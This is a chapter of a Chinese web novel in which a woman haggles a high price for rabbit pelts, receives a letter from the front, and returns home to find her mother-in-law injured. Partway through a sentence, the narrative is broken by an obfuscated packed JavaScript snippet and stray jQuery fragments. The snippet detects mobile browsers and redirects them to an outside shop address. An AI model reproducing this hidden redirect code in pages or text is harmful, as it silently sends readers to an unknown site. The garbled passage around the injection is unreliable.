默认冷灰
24号文字
方正启体

19. 售皮得银,远方来信

作者:十不秋本书字数:K更新时间:
    刘管事气得直咬牙。


    她心中暗骂这农妇狡猾,可目光触及到她手中的兔皮时,却又不得不承认,这料子确实有让人争抢的资本!


    毛色银亮如霜雪,若是送去县城,寻个老手艺制成围脖或袖笼,穿在身上定能艳压群芳!


    她瘪瘪嘴,强压下心头的火气,挤出笑道:“小娘子,你开个价吧。”


    江宛伸出一根手指,淡淡开口,“十两。”


    “什么?”刘管事惊得声音拔高了八度,“十两?你、你这是在狮子大开口!”


    周边的妇人们也发出一阵骚动。


    十两买一张兔皮,简直听都没听过!


    即便是上好的火狐皮子,也未必能卖出十两银子的天价。


    江宛却是不慌不忙。


    她伸手轻轻抚过那张雪白的兔皮,“刘管事,这皮料的成色你也看到了。若是做成几件斗篷,卖给那些高门大户的贵人,怕是不止这个价吧?”


    刘管事咬着牙,心中天人交战。


    她知道江宛说得没错,这皮子确实好得没话说。


    但这价格,也太黑了一点!


    可若是错过了这等好货,回头被对门的吴记、旁边的马记抢了先,她刘记的招牌还要不要了?


    纠结半晌,刘管事的狠狠一拧手帕,“小娘子,你这价格走遍整个双石镇也没人敢接。我们打开天窗说亮话,你若是诚心卖,这块皮子我最多给你二两五,再多就真不行了……”


    江宛眉心猛地一跳,眼睛瞪得溜圆,险些没绷住脸上的表情!


    天晓得,原本她想的是八块皮子卖十两的!


    本来原色皮的价格就不高,李娘子收的那块才一百多文。她特意凑来几块杂色的皮子就是为了混淆视听,凑个添头而已。


    不然八块全是顶好的纯色兔皮,这要是说出去,估计整个双石镇都要沸腾。


    没想到,这刘掌柜竟以为……她一块皮子的喊价就是十两!


    刘管事那副肉痛却又生怕错过好东西的为难劲儿,江宛看得出她是真心实意地想收。


    于是,她舔了舔嘴皮,故作迟疑地打断了刘管事的话,“刘管事,这个价格嘛……倒也不是不能商量。这样!你先看看我背篓里剩下的皮子,再来商议总价,如何?”


    她刻意咬重了“总价”二字的发音。


    一个急于出手、一个急于收购。


    阴差阳错之下,江宛甚至比刘管事更怕对方反悔。


    刘管事闻言大喜,立马敲定了和江宛去后院商议价格的事宜。


    将铺子交给大绣娘暂时看顾,自己则是迫不及待地带着江宛走向了后院……


    八张兔皮一一摆在院子中间的绣架上。


    晃眼的阳光透过天井,照得毛皮流光溢彩。


    刘管事眉头紧锁,屏气凝神,认认真真地将每一张皮子都检查一番后,给出了十一两的高价!


    江宛当即点头,干脆利落。


    就在刘管事转身取银票的空档,铺子前堂突然传来了一阵喧哗。


    一名身着缎面料子的年轻男子,甩着八字步,吊儿郎当地朝着后院走了过来。


    “刘管事!刘管事!听说你今儿捡着了,我特意过来看看!”


    “马二爷,您这是做什么!后院重地,您进不得啊!”


    大绣娘急得满头大汗,伸手去拦,却被马二爷灵活地闪身躲了过去。


    大绣娘没法,只得匆匆跑去寻刘管事了。


    马二爷一脚踏进后院,瞬间就被架子上的兔皮抓住了视线,“哟!这就是刘记今儿收的皮子吧!果真不赖!”


    他大步走近绣架,随手拿起一块烟灰色的皮子抖了抖,“这色不错,沉稳大气,正适合给本少爷做件大氅。”


    他嘴里啧啧称奇,拿着皮子拿在身上比划着,那副自鸣得意的模样,活像只开了屏的大孔雀。


    在江宛看得一脸莫名的时候,他突然扭头,将皮子凑到脸侧,一脸轻佻地冲她挑了挑眉,“小娘子,你瞧瞧,好看吗?”


    他生得并不讨喜。


    狭眼上挑,五官寡淡。


    阴鸷的长相配着轻浮的作态,显得有些变态。


    江宛眉头微蹙,不自觉地抽了抽嘴角。


    她只觉得这人脑子有问题,并未接话。


    刘管事一路小跑着冲了过来,二话不说侧身挡在了江宛身前。


    她嘴角堆笑,“什么风把马少爷吹来了?您先等会儿,我送送我家远方表亲就来。”


    话落,她根本不给马二爷反应的机会,不由分说地拽着江宛往外走。


    “唉?哎!怎么就走了……我话还没说完呢!”


    马二爷还欲追出来,这次却被早有准备的大绣娘拦住了脚步,气得狠狠一甩袖,暗恼自己来晚了。


    将江宛送出了铺子,刘管事这才抬起胳膊,蹭了蹭额角的细汗。


    她将手中的钱袋塞进江宛手中,语气里带着几分歉意,“娘子收好,今日突发情况,不然我定是要留你吃个晌午饭的。”


    说着,她朝后院方向偏了偏头,“那是马记的马二爷,已是有家有室的人了,偏生还最爱沾花惹草,娘子莫被他唬了去。”


    江宛收起银子,打开一看,对数!


    便连连点头应道:“既如此,刘管事,有缘再见!”


    话音未落,她扭头就跑。


    “哎?小娘子贵姓啊!这、这……”


    刘管事的声音在身后追,江宛在前头跑。


    她跑的不是那马二爷,而是刘管事啊……


    直到跑出了北街,江宛才放慢脚步,甩着背篓,脚步轻快地拐向西街的马氏粮铺。


    粮铺没什么人,就一个长工正弓着腰在那搬运粮食。


    江宛打听了一下管事的去向,听长工说去乡下收粮了,留下一句来过后,便掉头去和周祥贵、小禾二人碰头。


    两人依旧坐在药堂巷口的茶铺,只是脸上的表情比方才松快了不少。


    看江宛满头大汗地回来,小禾赶忙摸出腰间的小扇晃了起来。


    “嫂子,热坏了吧?赶紧喝口水歇歇!”


    江宛一屁股坐了下来,端起桌上晾好的菊花茶就往嘴里灌区。


    这壶花茶已经兑过几遍滚水,苦涩的味道淡了许多,花香却更加浓郁。


    “大夫怎么说?”江宛放下茶盏,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463375|201283||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    问了一句。


    周祥贵拎起茶壶,又为她续了一杯。


    “大夫开了七副药,花了二佰四十文钱。说病情已无大碍,只需好好将养一段时间就好。”


    “那就好。”


    江宛松了口气,将今天去粮铺没遇到马掌柜的事告知了周祥贵。


    周详贵脸上并无异样,反而神采奕奕地说:“待我养好身体,倒时在走动也不迟。”


    三人又坐了一会儿,江宛想起当铺掌柜挑剩下的小珠子,便掏出来递给小禾把玩。


    小禾喜滋滋地收下,捧着那袋小米珠,爱不释手。


    待江宛歇得差不多了,三人收起起东西,起身找徐驴头。


    徐驴头正端着碗清汤面片呼哧呼哧地吃得热闹,热汤蒸得他满脸通红,额头的汗水一股一股地往下淌。


    三人肚中也早已空空,见状,也从旁边摊子要了几碗,和徐驴头挤在一桌,埋头填着肚子来。


    面片儿汤没什么添头,调味只有简单的薄盐和猪油。


    吃进嘴里,全是小麦朴实的清香,份量也足。


    一碗面片汤下肚,就是徐驴头这样的卖脚力的汉子,也能吃个肚儿圆。


    就在江宛等人吃得酣畅淋漓时,徐驴头从怀里摸出一封信件,递了出去,“这是递铺传回的信件,我寻我家那小子的信件时,瞅着有你家祁山的书信,就一起给带了回来,也省得你们多等一趟。”


    江宛停下了嘴里吞咽的动作,在周祥贵的注视下,她伸手接过了那封信件。


    信件用蜡油封着,捏在手里略有些厚度,估摸着是写了好几页书信来思念亲人。


    她虽和那人不熟,但也希望他和前线的战士一样,都能平平安安地回来。


    等周家人吃完晌午。


    徐驴头起身,拍了拍以上,吆喝一声,“走咯!”


    三人抹了把嘴,跟上。


    顶着晌午最烈的阳光,四人踏上了回程的路……


    日头渐渐西斜,橘红色的霞光染上天穹时,满载风尘的驴车终于停在了那间熟悉的杂货铺门口。


    暮色四合,周遭人家已经三三两两地升起了炊烟,唯有周家没有任何动静。


    徐驴头勒住缰绳,回头道:“到了,慢下。”


    江宛背着背篓,拎着药包,将剩下的车费补给了徐驴头。


    铺子大门敞着,往常这个时候,余氏早该倚在门框上张望了,可此时门口却没有看到余氏的身影。


    江宛心里隐隐有些不安。


    和徐驴头道别后,她快步跨进了门槛。


    铺子里没人、院子也没人,只有正房门虚掩着,传出几声断断续续的压抑痛呼。


    “娘?你在房间吗?”江宛喊了一声。


    屋里响起一阵窸窸窣窣收拾东西的动静,紧接着,是余氏掩饰不住地焦急与慌乱,“在呢在呢!小宛你等会儿,我马上出来。”


    不多时,余氏一边整理着凌乱的衣襟,一边脚步虚浮地走了出来。


    她发髻松散、凌乱。


    右脚脚尖上翘,脚跟着地,一看就是崴着了。再加上脖子上的血棱子,仅一眼,江宛就知道余氏这是被欺负了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)